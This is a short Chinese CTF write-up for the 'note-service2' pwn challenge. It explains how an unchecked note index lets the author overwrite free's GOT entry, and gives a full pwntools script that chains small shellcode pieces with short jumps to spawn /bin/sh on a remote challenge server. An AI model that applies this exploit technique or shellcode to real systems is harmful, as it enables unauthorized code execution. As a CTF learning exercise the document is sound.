这几天看 wiki 有点头疼 刷会 攻防世界
(那个echo_back 真的头疼 那个 文件结构 不知道是怎么搞出来的)
哪一行代码也不是很清楚是怎么做的 于是就直接跳过那个题目了
note-service2 这个题用ida 分析的时候 看见 show 不能用 笑容 逐渐 凝固 看见edit 不能用的时候 直接关闭了ida
然后发现保护如下
shellcode 一把梭鸭
问题在于怎么让函数执行shellcode
这里有一个 溢出点
没有检查下标 我们可以直接 把他 拿到 free的got 里面
然后执行短跳转 直接拿到权限
(本来想自己搞参数的 可是发现有一行 长度超过了 直接 自己/bin/sh)
#coding:utf-8
from pwn import *
context.update(arch = 'amd64')
debug = 1
local =0
if local:
io=process("./note_service2")
else:
io=remote("111.198.29.45",44322)
if debug:
context.log_level = 'debug'
elf = ELF('./note_service2')
#libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
heap_addr=0x2020A0
got_index=(elf.got['free']-heap_addr)/8
def add(index,content):
io.recvuntil('your choice>> ')
io.sendline("1")
io.recvuntil("index:")
io.sendline(str(index))
io.recvuntil("size:")
io.sendline('8')
io.recvuntil("content:")
io.sendline(content)
def dele(index):
io.recvuntil('your choice>> ')
io.sendline("4")
io.recvuntil("index:")
io.sendline(str(index))
# shellcode
#xor rdx, rdx
#mov rbx, 0x68732f6e69622f2f
#shr rbx, 0x8
#push rbx
#mov rdi, rsp
#push rax
#jmp
#push rdi
#mov rsi, rsp
#mov al, 0x3b
#syscall
if __name__=="__main__":
#add(0,"/bin/sh")
'''add(got_index,asm('xor rdx, rdx')+'\xeb\x16')
add(1,asm('mov rbx, 0x68732f6e69622f2f')+'\xeb\x16')
#print hex(len(asm('mov rbx, 0x68732f6e69622f2f')+'\xeb\x16'))
#len=0xc
add(2,asm('shr rbx, 0x8')+'\xeb\x16')
add(3,asm('mov rdi, rsp')+'\xeb\x16')
add(4,asm('push rax')+'\xeb\x16')
add(5,asm('push rdi')+'\xeb\x16')
add(6,asm('mov rsi, rsp')+'\xeb\x16')
add(7,asm('mov al, 0x3b')+'\xeb\x16')
add(8,asm('syscall'))'''
add(0,'/bin/sh')
add(got_index,asm('xor rsi,rsi')+'\x90\x90\xeb\x19')
add(1,asm('push 0x3b\n pop rax')+'\x90\x90\xeb\x19')
add(2,asm('xor rdx,rdx')+'\x90\x90\xeb\x19')
#gdb.attach(io)
add(3,asm('syscall')+'\x90'*5)
dele(0)
io.interactive()
io.close()
e9 加16 eb 加 19
成功拿到权限